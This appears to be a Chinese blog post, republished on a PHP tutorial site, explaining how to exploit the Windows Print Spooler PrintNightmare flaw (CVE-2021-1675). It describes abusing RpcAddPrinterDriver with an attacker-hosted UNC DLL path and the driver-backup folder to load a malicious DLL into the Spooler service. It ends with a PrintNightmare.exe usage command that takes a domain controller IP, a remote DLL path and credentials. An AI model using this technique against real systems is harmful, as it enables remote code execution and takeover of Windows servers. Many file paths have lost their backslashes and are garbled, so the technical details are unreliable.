CVE-2021-1675 Windows Print Spooler RCE EXP-Windows系列-PHP中文网

CVE-2021-1675 Windows Print Spooler RCE EXP

爱谁谁

发布： 2025-09-08 09:01:34

原创

192人浏览过

PrintNightmare (CVE-2021-1675)：Windows 后台处理程序服务中的远程代码执行RpcAddPrinterDriver

向服务器添加打印机驱动程序 (rpcaddprinterdriver)

让我们检查一下关于 RpcAddPrinterDriver 调用的 MS-RPRN：打印系统远程协议。

要将打印机驱动程序（“OEM 打印机驱动程序”）添加或更新到打印服务器（“CORPSERV”），客户端（“TESTCLT”）执行以下步骤。

客户端可以使用 RPC 调用 RpcAddPrinterDriver 向打印服务器添加驱动程序。客户端确保打印机驱动程序的文件位于服务器可访问的位置。为此，客户端可以共享包含文件的本地目录，或使用 [MS-SMB] 将文件放入服务器上的目录中然后客户端分配并填充 DRIVER_INFO_2 结构，如下所示：pName = L"OEM 打印机驱动程序";pEnvironment = L"Windows NT x86"; /* 驱动兼容的环境 */pDriverPath = "\CORPSERVC客户端分配一个 DRIVER_CONTAINER driverContainer 结构并初始化它以包含 DRIVER_INFO_2 结构。客户端调用 RpcAddPrinterDriver。RpcAddPrinterDriver( L"\CORPSERV", &driverContainer );

假设您在那里提供服务的路径

pDataFile =A.dll

pConfigFile =ttackeripEvil.dll

pDriverPath=C.dll

它将 A、B 和 C 复制到文件夹 C:WindowsSystem32spooldriversd ew。然后它将它们复制到 C:WindowsSystem32spooldriversd，并加载 C:WindowsSystem32spooldriversdA.dll 和 C:WindowsSystem32 spooldriversdC.dll 进入 Spooler 服务。但是，在最新版本中，Spooler 将检查以确保 A 和 C 不是 UNC 路径。但是由于 B 可以是 UNC 路径，所以我们可以将 pConfigFile 设置为 UNC 路径（evildll）。这将使我们的 evildll Evil.dll 被复制到 C:WindowsSystem32spooldriversd Evil.dll。然后再次调用 RpcAddPrinterDriver，将 pDataFile 设置为 C:WindowsSystem32spooldriversdEvil.dll。它将加载我们的邪恶 dll。不幸的是，它不起作用。因为如果你在文件夹C:WindowsSystem32spooldriversd中设置了A、B、C。文件复制会出现访问冲突。为了绕过这个，我们需要使用驱动程序升级的备份功能。如果我们升级某些驱动程序，旧版本将备份到 C:WindowsSystem32spooldriversdold 文件夹中。然后我们可以绕过访问冲突并成功将我们的 evil.dll 注入到 spooler 服务中。

成功加载我们的dll：

用法代码语言：javascript代码运行次数：0运行复制

<pre class="brush:php;toolbar:false;">.PrintNightmare.exe dc_ip path_to_exp user_name passwordExample:.PrintNightmare.exe 192.168.5.129 \192.168.5.197	estMyExploit.dll user2 test123#

登录后复制